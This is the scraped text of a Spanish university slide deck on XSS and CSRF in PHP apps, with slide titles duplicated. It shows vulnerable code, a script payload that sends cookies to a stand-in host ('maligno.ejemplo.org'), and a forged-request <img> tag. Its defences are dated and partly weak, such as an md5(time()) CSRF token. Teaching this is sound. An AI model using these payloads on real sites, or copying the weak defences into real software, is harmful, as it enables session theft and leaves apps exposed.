Ataques XSS y CSRF CI2413 Desarrollo de Aplicaciones

  • Slides: 18
Download presentation
Ataques XSS y CSRF CI-2413 Desarrollo de Aplicaciones para Internet

Ataques XSS y CSRF CI-2413 Desarrollo de Aplicaciones para Internet

Seguridad • Podremos hablar de aplicaciones web seguras y inseguras. • Por definición una

Seguridad • Podremos hablar de aplicaciones web seguras y inseguras. • Por definición una aplicación web segura es aquella que es 100% invulnerable a cualquier tipo de ataque. • Sobre esta base se pueden considerar las aplicaciones web como inseguras. • Se verá protección contra dos tipos de ataques.

Cross-Site Scripting (XSS) • El error fundamental que conduce a vulnerabilidades de tipo XSS

Cross-Site Scripting (XSS) • El error fundamental que conduce a vulnerabilidades de tipo XSS es tener confianza en los datos foráneos. • La recomendación general es desconfiar siempre de los datos del visitante. • Como datos foráneos vamos a considerar cualquier dato que reciba el servidor web. V. G. : correo emitido por un cliente de correo web, un banner publicitario, las citas proveidas por XML vía HTTP, los datos del visitante, . . .

Ejemplo de XSS • Considere el siguiente formulario: <form action="/registrar. php" method="post"> <p>Nombre de

Ejemplo de XSS • Considere el siguiente formulario: <form action="/registrar. php" method="post"> <p>Nombre de usuario: <input type="text" name="reg_usuario" /></p> <p>Email: <input type="text" name="reg_email" /></p> <p><input type="submit" value="Registrar" /> </form>

Ejemplo de XSS • Ahora considere el siguiente script de inserción de los datos:

Ejemplo de XSS • Ahora considere el siguiente script de inserción de los datos: if (!get_magic_quotes_gpc()) { $_POST['reg_usuario'] = addslashes($_POST['reg_usuario']); $_POST['reg_email'] = addslashes($_POST['reg_email']); } $sql = "insert into users (username, email) values ('{$_POST['reg_usuario ']}', '{$_POST['reg_email']}')";

Ejemplo de XSS • Imagine el siguiente nombre de usuario: <script>alert('¡Oh no!'); </script> •

Ejemplo de XSS • Imagine el siguiente nombre de usuario: <script>alert('¡Oh no!'); </script> • Se puede determinar fácilmente que el código anterior no es nombre de usuario válido, lo cual demuestra que el código que escribimos no es siempre prudente. • Por supuesto, el peligro de XSS reside en el efecto producido cuando los datos son reenviados a otros utilizadores.

Ejemplo de XSS • Despligue por un administrador: <table> <tr> <th>Usuario</th> <th>Email</th> </tr> <?

Ejemplo de XSS • Despligue por un administrador: <table> <tr> <th>Usuario</th> <th>Email</th> </tr> <? php if ($_SESSION['admin']) { $sql = 'select username, email from users'; $result = mysql_query($sql); while ($user = mysql_fetch_assoc($result)) { echo "t<tr>n"; echo "tt<td>{$user['username']}</td>n"; echo "tt<td>{$user['email']}</td>n"; echo "t</tr>n"; } } ? > </table>

Ejemplo de XSS • En el ejemplo anterior si los datos no son validados

Ejemplo de XSS • En el ejemplo anterior si los datos no son validados antes de ser guardados, el administrador podrá ser sujeto de un ataque XSS.

Ejemplo de XSS • El riesgo es aún más evidente con algún ataque más

Ejemplo de XSS • El riesgo es aún más evidente con algún ataque más vicioso como el siguiente: <script> document. location = 'http: //maligno. ejemplo. org/roba_cookies. php? cookies=' + document. cookie </script> • En este ejemplo, el script distante roba_cookies. php puede acceder a los cookies con la variable $_GET['cookies']. Un vez capturados los cookies pueden ser utilizados para lanzar ataques de usurpación de identidad, obtener datos sensibles, etc.

Protegerse contra XSS • Filtrar todos los datos foráneos. • Utilizar la funcionalidad existente:

Protegerse contra XSS • Filtrar todos los datos foráneos. • Utilizar la funcionalidad existente: htmlentities(), strip_tags, utf 8_decode(), etc. pueden ayudar a escribir la lógica de filtrado. • Solamente autorizar un contenido validado. • Utilizar una convención de nombres descriptiva. • Ser creativo.

Cross-Site Request Forgeries (CSRF) • Este tipo de ataques en lugar de explotar la

Cross-Site Request Forgeries (CSRF) • Este tipo de ataques en lugar de explotar la confianza del usuario explotan la confianza que hace el sitio web a sus usuarios. • CSRF implica la simulación de solicitudes HTTP, por lo cual es muy importante entender las solicitudes HTTP.

Ejemplo de CSRF • Considere un foro hipotético en http: //foro. ejemplo. org/ que

Ejemplo de CSRF • Considere un foro hipotético en http: //foro. ejemplo. org/ que utiliza el siguiente formulario: <form action="/add_post. php"> <p>Asunto: <input type="text" name="post_subject" /></p> <p>Mensaje: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Enviar" /></p> </form>

Ejemplo de CSRF • Dado que en el código anterior no se indicó POST

Ejemplo de CSRF • Dado que en el código anterior no se indicó POST una solicitud GET es enviada: GET /add_post. php? post_subject=foo&post_message=bar HTTP/1. 1 HOST: foro. ejemplo. org Cookie: PHPSESSID=123456789

Ejemplo de CSRF • Considere la etiqueta <img> siguiente: <img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20415%20289%22%3E%3C/svg%3E' data-src="http: //foro. ejemplo. org/add_post.

Ejemplo de CSRF • Considere la etiqueta <img> siguiente: <img src="http: //foro. ejemplo. org/add_post. php? post _subject=foo&post_message=bar” /> • Cuando un navegador pida esta imagen va a enviar exactamente la misma solicitud de la filmina anterior. La víctima va a enviar un mensaje en el foro y sin darse cuenta.

Protegerse contra CSRF • Utilizar el método POST en los formularios. • Utilizar el

Protegerse contra CSRF • Utilizar el método POST en los formularios. • Utilizar el arreglo $_POST en lugar de las variables creadas gracias a register_globals. • No simplificar las acciones importantes. • Obligar al usuario a utilizar nuestros formularios HTML.

Protegerse contra CSRF • Un ejemplo de técnica para obligar al usuario a utilizar

Protegerse contra CSRF • Un ejemplo de técnica para obligar al usuario a utilizar nuestros propios formularios es la siguiente: <? php $token = md 5(time()); $_SESSION['token'] = $token; $_SESSION['token_timestamp'] = time(); ? > <form action="/add_post. php"> <input type="hidden" name="token" value="<? php echo $token; ? >" /> <p>Asunto: <input type="text" name="post_subject" /></p> <p>Mensaje: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Enviar" /></p> </form>

Lecturas adicionales • PHP Under Attaque: presentación sobre XSS y CSRF – http: //talks.

Lecturas adicionales • PHP Under Attaque: presentación sobre XSS y CSRF – http: //talks. php. net/show/php-under-attack/ • XSS – http: //httpd. apache. org/info/css-security/ – http: //www. cgisecurity. com/articles/xss-faq. shtml – http: //www. php-secure. info/v 2/article/XSS. php • CSRF – http: //www. tux. org/~peterw/csrf. txt

Proyecto de seguridad • XSS: – HTMLfilter es un proyecto para PHP que analiza

Proyecto de seguridad • XSS: – HTMLfilter es un proyecto para PHP que analiza todos los datos HTTP antes de ser utilizados.